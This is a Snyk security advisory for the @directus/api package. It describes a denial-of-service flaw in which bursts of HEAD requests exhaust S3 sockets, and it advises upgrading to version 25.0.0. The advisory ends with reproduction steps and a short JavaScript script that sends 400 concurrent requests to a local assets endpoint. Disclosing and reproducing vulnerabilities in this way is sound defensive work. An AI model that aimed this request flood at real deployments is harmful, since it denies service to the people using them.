Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade @directus/api
to version 25.0.0 or higher.
@directus/api is a real-time API and App dashboard for managing SQL database content
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. An attacker can cause the service to deny access to stored assets by overwhelming the server with a burst of HEAD requests, leading to a saturation of available sockets.
setup AWS S3 storage
set STORAGE_CLOUD_MAX_SOCKETS
: "50" (this value is lower than default for easier reproduction)
upload a file to your project
run this file (Replace the the file ID with the one you just uploaded):
import axios from "axios";
async function start() { Array.from({ length: 400 }, (_, i) => { axios .head( "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8" ) .then(() => console.log("✅")) .catch((e) => console.log("⛔", e.response?.status || e.code || e.message) ); }); }
start();